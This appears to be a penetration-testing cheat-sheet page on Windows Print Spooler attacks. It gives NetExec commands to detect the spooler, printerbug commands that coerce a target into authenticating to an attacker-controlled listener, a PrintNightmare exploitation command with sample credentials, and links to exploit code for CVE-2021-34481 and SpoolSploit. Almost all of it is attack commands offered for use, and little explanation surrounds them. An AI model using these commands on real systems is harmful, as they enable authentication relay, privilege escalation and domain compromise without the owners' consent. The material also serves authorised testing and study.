# Print Spooler

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

## Spooler is running

```
nxc smb <ip> -u 'user' -p 'pass' -M spooler
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FUuBIecFOhxeEDescdWyk%2Fbafkreievzny3ocoeqnef56lkmfdhkruzg7kjc4opz34fjcv5hoxt5hrqoq.jpg?alt=media&#x26;token=8dc92e31-cdc0-46fc-9b96-a837ce47cdaf" alt=""><figcaption></figcaption></figure>

<https://bsky.app/profile/itm4n.bsky.social/post/3lcipb7lq4k2v>

## Printer Bug

{% embed url="<https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn>" %}

{% content-ref url="misconfiguration" %}
[misconfiguration](https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/misconfiguration)
{% endcontent-ref %}

{% content-ref url="trustee-and-resource-delegation" %}
[trustee-and-resource-delegation](https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/trustee-and-resource-delegation)
{% endcontent-ref %}

```
nxc smb IP_RANGE -u username -p password -M printerbug -o LISTENER=ATTACKER_IP
```

or with [printerbug.py](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)

```
printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'
```

NetNTLMV1 ?

{% embed url="<https://github.com/NotMedic/NetNTLMtoSilverTicket>" %}

## PrintNightmare

{% embed url="<https://itm4n.github.io/printnightmare-exploitation/>" %}

```
nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M spooler -M printnightmare
```

### Itwasalladream

{% embed url="<https://github.com/byt3bl33d3r/ItWasAllADream>" %}

### Exploit

{% content-ref url="windows-exploit" %}
[windows-exploit](https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/windows-exploit)
{% endcontent-ref %}

## CVE-2021-34481

{% embed url="<https://github.com/vpn28/CVE-2021-34481>" %}

{% embed url="<https://github.com/jacob-baines/concealed_position>" %}

{% embed url="<https://itm4n.github.io/printnightmare-exploitation/>" %}

## SpoolSploit

{% embed url="<https://github.com/BeetleChunks/SpoolSploit>" %}
